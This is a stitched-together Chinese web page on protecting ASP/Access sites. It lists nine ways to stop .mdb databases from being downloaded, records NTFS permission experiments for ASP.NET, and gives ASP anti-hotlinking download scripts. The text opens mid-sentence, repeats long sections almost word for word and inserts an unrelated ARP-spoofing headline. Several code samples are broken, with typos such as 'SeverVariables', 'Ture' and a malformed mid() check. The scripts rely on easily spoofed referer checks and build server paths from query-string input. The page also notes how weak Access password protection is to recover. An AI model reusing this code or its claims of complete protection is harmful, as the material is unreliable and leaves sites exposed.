然后用Flashget试验下载data.asp文件,并另存为data.mdb文件,发现用ACCESS打开完好无损!看来,好一些编程人员在开发的时候都认为,改了mdb后缀为asp就能防下载的概念,是错的!后台数据库被下载对于一个asp+access的网站来说无疑是一场惨绝人寰的灾难。今天找了各方的文章,归纳一下有以下9种办法防止数据库被下载(欢迎补充)。
1.发挥你的想象力修改数据库文件名
不用说,这是最最偷懒的方法,但是若攻击者通过第三方途径获得了数据库的路径,就玩完了。比如说攻击者本来只能拿到list权,结果意外看到了数据库路径,就可以冠冕堂皇地把数据库下载回去研究了。另外,数据文件通常大小都比较大,起再隐蔽的文件名都瞒不了人。故保密性为最低。
2.数据库名后缀改为ASA、ASP等
此法须配合一些要进行一些设置,否则就会出现本文开头的那种情况。
(1)二进制字段添加。
(2)在这个文件中加入,IIS就会按ASP语法来解析,然后就会报告500错误,自然不能下载了。可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的,因为ACCESS会对其中的内容进行处理,在数据库里他会以<%的形式存在,无效!正确的方法是将<%存入OLE对象字段里,这样我们的目的就能达到了。
操作方法:
首先,用notepad新建一个内容为<%的文本文件,随便起个名字存档。
接着,用Access打开您的数据库文件,新建一个表,随便起个名字,在表中添加一个OLE对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为"数据包"的记录。即可。
3.数据库名前加"#"
只需要把数据库文件前名加上#、然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别#号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb(假设存在的话)。无论是IE还是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS设置的首页文档)。
另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为"%",如http://www.test.com/date/123;456.mdb,下载的时http://www.test.com/date/123%456.mdb。而我们的目录就根本没有123%456.mdb这个文件,所以下载也是无效的这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!
4.加密数据库
首先在选取"工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb..要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密,首先以打开经过编码了的employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码",接着输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他是无法看到employer1.mdb的。
加密后要修改数据库连接页,如:
conn.open "driver={ microsoft access driver&nb sp;
(*.mdb) };uid=admin;pwd=数据库密码;dbq=数据库路径"
这样修改后,数据库即使被人下载了,别人也无法打开(前提是你的数据库连接页中的密码没有被泄露)。
但值得注意的是,由于Access数据库的加密机制比较简单,即使设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行"异或"来形成一个加密串,并将其存储在*.mdb文件从地址"&H42"开始的区域内。所以一个好的程序员可以轻松制作一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此,只要数据库被下载,其信息安全依然是个未知数。
5.数据库放在WEB目录外或将数据库连接文件放到其他虚拟目录下
如你的WEB目录是e:\webroot,可以把数据库放到e:\data这个文件夹里,在e:\webroot里的数据库连接页中修改数据库连接地址为:"../data/数据库名"的形式,这样数据库可以正常调用,但是无法下载的,因为它不在WEB目录里!这个方法一般也不适合购买虚拟空间的用户。
6.使用ODBC数据源
在ASP等程序设计中,如果有条件,应尽量使用ODBC数据源,不要把数据库名写在程序中,否则,数据库名将随ASP源代码的失密而一同失密,例如:
DBPath = Server.MapPath("../123/ abc/asfadf.mdb ")
conn.open "driver={ Microsoft Access Driver&nb sp;(*.mdb) };dbq="& DBPath
可见,即使数据库名字起得再怪异,隐藏的目录再深,ASP源代码失密后,也很容易被下载下来。如果使用ODBC数据源,就不会存在这样的问题了:conn.open "ODBC-DSN名",不过这样是比较烦的,目录移动的话又要重新设置数据源了,更方便的方法请看第7,8法!
7.添加数据库名的如MDB的扩展映射
这个方法就是通过修改IIS设置来实现,适合有IIS控制权的朋友,不适合购买虚拟主机用户(除非管理员已经设置了)。这个方法我认为是目前最好的。只要修改一处,整个站点的数据库都可以防止被下载。无须修改代码即使暴露目标地址也可以防止下载。
我们在IIS属性---主目录---配置---映射---应用程序扩展那里添加.mdb文件的应用解析。注意这里的选择的DLL(或EXE等)似乎也不是任意的,选择不当,这个MDB文件还是可以被下载的,注意最好不要选择选择asp.dll等。你可以自己多测试下,样修改后下载数据库如:http://www.test.com/data/dvbbs6.mdb,就出现(404或500等错误)。
8.使用.net的优越性
动网的木鸟就写过一个防非法下载文件的"WBAL防盗链工具"。
不过那个只实现了防止非本地下载的,没有起到真正的防下载数据库的功能。不过这个方法已经跟5法差不多可以通过修改.NET文件,实现本地也不能下载!
这几个方法中,只有第7和8个是统一性改的,一次修改配置后,整个站点的数据库都可以防止下载,其他几个就要分别修改数据库名和连接文件,比较麻烦,不过对于虚拟主机的朋友也只能这样了!
其实第6个方法应该是第5个方法的扩展,可以实现特殊的功能,但对于不支持.net的主机或者怕设置麻烦的话,还是直接用第5个方法了,而且默认情况下第6个方法,依然可以通过复制连接到同主机的论坛或留言本发表,然后就可以点击下载了。(因为这样的引用页是来自同主机的)
9.利用NTFS分区的文件权限设置(bypercyboy)
我们已经知道,ASP.NET中使用ADO.NET访问数据库,通过OleDb的连接可以访问Access数据库——我们非常常用的低端数据库之一。本文讨论了ASP.NET中可能看到的若干错误提示,从中看到Access2000和AccessXP创建的数据库文件,在访问出现错误时会出现不太相同的错误提示。希望对大家有所帮助。另一个要点是,希望通过此文,使大家对ASP.NET中Access数据库文件的NTFS权限设置有所新的认识。
(一)实验过程
为了叙述方便,举个具体例子做个实验:应用程序为/test,数据库存放在D:\wwwroot\test\data\db1.mdb,我们已经知道在ASP.NET中是以一个叫做ASPNET虚拟用户的身份访问数据库的,我们需要给这个账户以特定的NTFS权限才能使ASP.NET程序正常运行。
为了得到最严格的NTFS权限设置,实验开始时我们给程序最低的NTFS权限:
a)D:\wwwroot\test\data\文件夹的给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;□ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.1对于某个只包含有"Select"命令的aspx程序,上述权限设置运行时无障碍,即:上述权限已经满足这类程序的运行了。
1.2对于包含有"Update""Insert""Update"等命令的aspx程序。
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。它已经被别的用户以独占方式打开,或没有查看数据的权限。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
操作必须使用一个可更新的查询。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:操作必须使用一个可更新的查询。
(c)原因初步分析:因为包含有"Update""Insert""Update"等命令,需要对数据库文件本身进行写入操作,所以上述权限不能满足此需求,我们需要进一步放开权限。
我们放开一些权限,
a) D:\wwwroot\test\data\ 文件夹不变;
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限;
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
1.3 放开权限后继续实验
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
不能锁定文件。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:不能锁定文件。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现错误。
(c)原因初步分析:我们发现在打开Access数据库时,同时会在所在目录生成一个同名的*.ldb文件,这是一个Access的锁定标记。鉴于此,我们猜测,用户ASPNET访问Access数据库时,也需要生成一个锁定标记,而该目录没有允许其写入,因此出错。至于AccessXP创建的数据库为什么没有这个错误,原因还不得而知。
我们进一步放开权限,
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.4继续实验,发现错误已解决,那么上面这个权限就是我们需要放开的"最低权限"。
(a)如果db1.mdb是Access2000创建的数据库,我们会发现一个小问题:生成的*.ldb文件不会自己删除,访问后该文件依然存在,但这个问题不会影响ASP.NET的正常运行。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现上面类似问题。
(c)原因初步分析:我们仅仅是给了ASPNET以写入文件夹的权限,没有给它修改的权限,所以文件一旦写入,便无法修改其内容,*.ldb也就删除不掉了。
如果非要解决这个问题,进一步放开权限为:
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;√ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.5附带着,实验另一种情形:我们把db1.mdb在Access打开编辑,同时访问ASP.NET。
(a)如果db1.mdb是Access2000创建的数据库,我们发现并没有出现什么问题。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:&nb。
然后用Flashget试验下载data.asp文件,并另存为data.mdb文件,发现用ACCESS打开完好无损!看来,好一些编程人员在开发的时候都认为,改了mdb后缀为asp就能防下载的概念,是错的!后台数据库被下载对于一个asp+access的网站来说无疑是一场惨绝人寰的灾难。今天找了各方的文章,归纳一下有以下9种办法防止数据库被下载(欢迎补充)。
1.发挥你的想象力修改数据库文件名
不用说,这是最最偷懒的方法,但是若攻击者通过第三方途径获得了数据库的路径,就玩完了。比如说攻击者本来只能拿到list权,结果意外看到了数据库路径,就可以冠冕堂皇地把数据库下载回去研究了。另外,数据文件通常大小都比较大,起再隐蔽的文件名都瞒不了人。故保密性为最低。
2.数据库名后缀改为ASA、ASP等
此法须配合一些要进行一些设置,否则就会出现本文开头的那种情况。
(1)二进制字段添加。
(2)在这个文件中加入,IIS就会按ASP语法来解析,然后就会报告500错误,自然不能下载了。可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的,因为ACCESS会对其中的内容进行处理,在数据库里他会以<%的形式存在,无效!正确的方法是将<%存入OLE对象字段里,这样我们的目的就能达到了。
操作方法:
首先,用notepad新建一个内容为<%的文本文件,随便起个名字存档。
接着,用Access打开您的数据库文件,新建一个表,随便起个名字,在表中添加一个OLE对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为"数据包"的记录。即可。
3.数据库名前加"#"
只需要把数据库文件前名加上#、然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别#号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb(假设存在的话)。无论是IE还是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS设置的首页文档)。
另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为"%",如http://www.test.com/date/123;456.mdb,下载的时http://www.test.com/date/123%456.mdb。而我们的目录就根本没有123%456.mdb这个文件,所以下载也是无效的这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!
4.加密数据库
首先在选取"工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb..要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密,首先以打开经过编码了的employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码",接着输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他是无法看到employer1.mdb的。
加密后要修改数据库连接页,如:
conn.open "driver={ microsoft access driver&nb sp;
(*.mdb) };uid=admin;pwd=数据库密码;dbq=数据库路径"
这样修改后,数据库即使被人下载了,别人也无法打开(前提是你的数据库连接页中的密码没有被泄露)。
但值得注意的是,由于Access数据库的加密机制比较简单,即使设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行"异或"来形成一个加密串,并将其存储在*.mdb文件从地址"&H42"开始的区域内。所以一个好的程序员可以轻松制作一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此,只要数据库被下载,其信息安全依然是个未知数。
5.数据库放在WEB目录外或将数据库连接文件放到其他虚拟目录下
如你的WEB目录是e:\webroot,可以把数据库放到e:\data这个文件夹里,在e:\webroot里的数据库连接页中修改数据库连接地址为:"../data/数据库名"的形式,这样数据库可以正常调用,但是无法下载的,因为它不在WEB目录里!这个方法一般也不适合购买虚拟空间的用户。
6.使用ODBC数据源
在ASP等程序设计中,如果有条件,应尽量使用ODBC数据源,不要把数据库名写在程序中,否则,数据库名将随ASP源代码的失密而一同失密,例如:
DBPath = Server.MapPath("../123/ abc/asfadf.mdb ")
conn.open "driver={ Microsoft Access Driver&nb sp;(*.mdb) };dbq="& DBPath
可见,即使数据库名字起得再怪异,隐藏的目录再深,ASP源代码失密后,也很容易被下载下来。如果使用ODBC数据源,就不会存在这样的问题了:conn.open "ODBC-DSN名",不过这样是比较烦的,目录移动的话又要重新设置数据源了,更方便的方法请看第7,8法!
7.添加数据库名的如MDB的扩展映射
这个方法就是通过修改IIS设置来实现,适合有IIS控制权的朋友,不适合购买虚拟主机用户(除非管理员已经设置了)。这个方法我认为是目前最好的。只要修改一处,整个站点的数据库都可以防止被下载。无须修改代码即使暴露目标地址也可以防止下载。
我们在IIS属性---主目录---配置---映射---应用程序扩展那里添加.mdb文件的应用解析。注意这里的选择的DLL(或EXE等)似乎也不是任意的,选择不当,这个MDB文件还是可以被下载的,注意最好不要选择选择asp.dll等。你可以自己多测试下,样修改后下载数据库如:http://www.test.com/data/dvbbs6.mdb,就出现(404或500等错误)。
8.使用.net的优越性
动网的木鸟就写过一个防非法下载文件的"WBAL防盗链工具"。
不过那个只实现了防止非本地下载的,没有起到真正的防下载数据库的功能。不过这个方法已经跟5法差不多可以通过修改.NET文件,实现本地也不能下载!
这几个方法中,只有第7和8个是统一性改的,一次修改配置后,整个站点的数据库都可以防止下载,其他几个就要分别修改数据库名和连接文件,比较麻烦,不过对于虚拟主机的朋友也只能这样了!
其实第6个方法应该是第5个方法的扩展,可以实现特殊的功能,但对于不支持.net的主机或者怕设置麻烦的话,还是直接用第5个方法了,而且默认情况下第6个方法,依然可以通过复制连接到同主机的论坛或留言本发表,然后就可以点击下载了。(因为这样的引用页是来自同主机的)
9.利用NTFS分区的文件权限设置(bypercyboy)
我们已经知道,ASP.NET中使用ADO.NET访问数据库,通过OleDb的连接可以访问Access数据库——我们非常常用的低端数据库之一。本文讨论了ASP.NET中可能看到的若干错误提示,从中看到Access2000和AccessXP创建的数据库文件,在访问出现错误时会出现不太相同的错误提示。希望对大家有所帮助。另一个要点是,希望通过此文,使大家对ASP.NET中Access数据库文件的NTFS权限设置有所新的认识。
(一)实验过程
为了叙述方便,举个具体例子做个实验:应用程序为/test,数据库存放在D:\wwwroot\test\data\db1.mdb,我们已经知道在ASP.NET中是以一个叫做ASPNET虚拟用户的身份访问数据库的,我们需要给这个账户以特定的NTFS权限才能使ASP.NET程序正常运行。
为了得到最严格的NTFS权限设置,实验开始时我们给程序最低的NTFS权限:
a)D:\wwwroot\test\data\文件夹的给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;□ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.1对于某个只包含有"Select"命令的aspx程序,上述权限设置运行时无障碍,即:上述权限已经满足这类程序的运行了。
1.2对于包含有"Update""Insert""Update"等命令的aspx程序。
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。它已经被别的用户以独占方式打开,或没有查看数据的权限。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
操作必须使用一个可更新的查询。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:操作必须使用一个可更新的查询。
(c)原因初步分析:因为包含有"Update""Insert""Update"等命令,需要对数据库文件本身进行写入操作,所以上述权限不能满足此需求,我们需要进一步放开权限。
我们放开一些权限,
a) D:\wwwroot\test\data\ 文件夹不变;
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限;
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
1.3 放开权限后继续实验
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
不能锁定文件。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:不能锁定文件。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现错误。
(c)原因初步分析:我们发现在打开Access数据库时,同时会在所在目录生成一个同名的*.ldb文件,这是一个Access的锁定标记。鉴于此,我们猜测,用户ASPNET访问Access数据库时,也需要生成一个锁定标记,而该目录没有允许其写入,因此出错。至于AccessXP创建的数据库为什么没有这个错误,原因还不得而知。
我们进一步放开权限,
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.4继续实验,发现错误已解决,那么上面这个权限就是我们需要放开的"最低权限"。
(a)如果db1.mdb是Access2000创建的数据库,我们会发现一个小问题:生成的*.ldb文件不会自己删除,访问后该文件依然存在,但这个问题不会影响ASP.NET的正常运行。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现上面类似问题。
(c)原因初步分析:我们仅仅是给了ASPNET以写入文件夹的权限,没有给它修改的权限,所以文件一旦写入,便无法修改其内容,*.ldb也就删除不掉了。
如果非要解决这个问题,进一步放开权限为:
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;√ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.5附带着,实验另一种情形:我们把db1.mdb在Access打开编辑,同时访问ASP.NET。
(a)如果db1.mdb是Access2000创建的数据库,我们发现并没有出现什么问题。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:&nb。
从网吧的ARP欺骗看局域网的安全管理
[ 2007-03-25 03:04:38 | 作者: sun ]
我们在管理网站文件时,可以把扩展名一样的文件放在同一个目录下,起一个比较特别名字,例如放pdf文件目录为the_pdf_file_s,把下面代码另存为down.asp,他的网上路径为http://www.xx.com/down.asp,我们就可以用http://www.xx.com/down.asp?FileName=51windows.pdf来下载这个文件了,而且下载者无法看到这个文件实际下载路径的!在down.asp中我们还可以设置下载文件是否需要登陆,判断下载的来源页是否为外部网站,从而可以做到防止文件被盗链。
示例代码:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法链接!" '防止盗链
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陆!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '设置pdf类型文件目录
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '设置DOC类型文件目录
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '设置图像文件目录
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地图片,音乐等ASP防盗链代码(asp)
以下是引用片段:
以下是引用片段:
<%
'定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
(1)下面的示例将 ContentType 属性设置为其他的常见值。
text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
asp下载防盗链代码
第一种:
终于对下载系统做了个防盗链措施,在下载的页面头部做了如下代码,相关代码如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下载的软件来自IT学习网,请直接从主页下载,谢谢<br>" ’防止盗链
response.write "<a href=http://www.gc888.cn>IT学习网http://www.gc888.cn</a>" ’防止盗链
response.end
end if
%>
第二种:
以下是引用片段:
以下是引用片段:
<%
’定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
下面的示例将 ContentType 属性设置为其他的常见值。 text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
第三种:
最简单的用Active Server Pages防站外提交表单、跨站提交表单、防盗链……
方法:Request.SeverVariables("HTTP_REFERER")
解释:当某人通过链接到达当前页,HTTP_REFERER 就保存了这个用户的来源(来路)
举个例子,这个例子很简单,只是抛砖引玉而已,大家可以增加更多的功能。
如下,只有首先从“ http://www.gc888.cn”登陆才能看到文件内容。
源码:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最简单的用asp防盗链</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必须从"&url&"访问才能进来!")
End if
End Function
%>
<%
Sub main()
Response.write("这儿是你要显示的网页内容")
End sub
%>
</body>
</html>
该方法对防止盗链文章、站外提交表单、跨站提交表单还比较有效,对于软件盗链比如.rar.zip.exe等倒没什么作用。
不知各位读者是否有好的主意,呵呵。
还有一种方法就是用判断服务器及上一页的地址来完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要从外部提交数据"
else
call main()
end if
sub main()
’你的主体内容
end sub
%>
示例代码:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法链接!" '防止盗链
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陆!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '设置pdf类型文件目录
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '设置DOC类型文件目录
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '设置图像文件目录
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地图片,音乐等ASP防盗链代码(asp)
以下是引用片段:
以下是引用片段:
<%
'定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’设置(1)
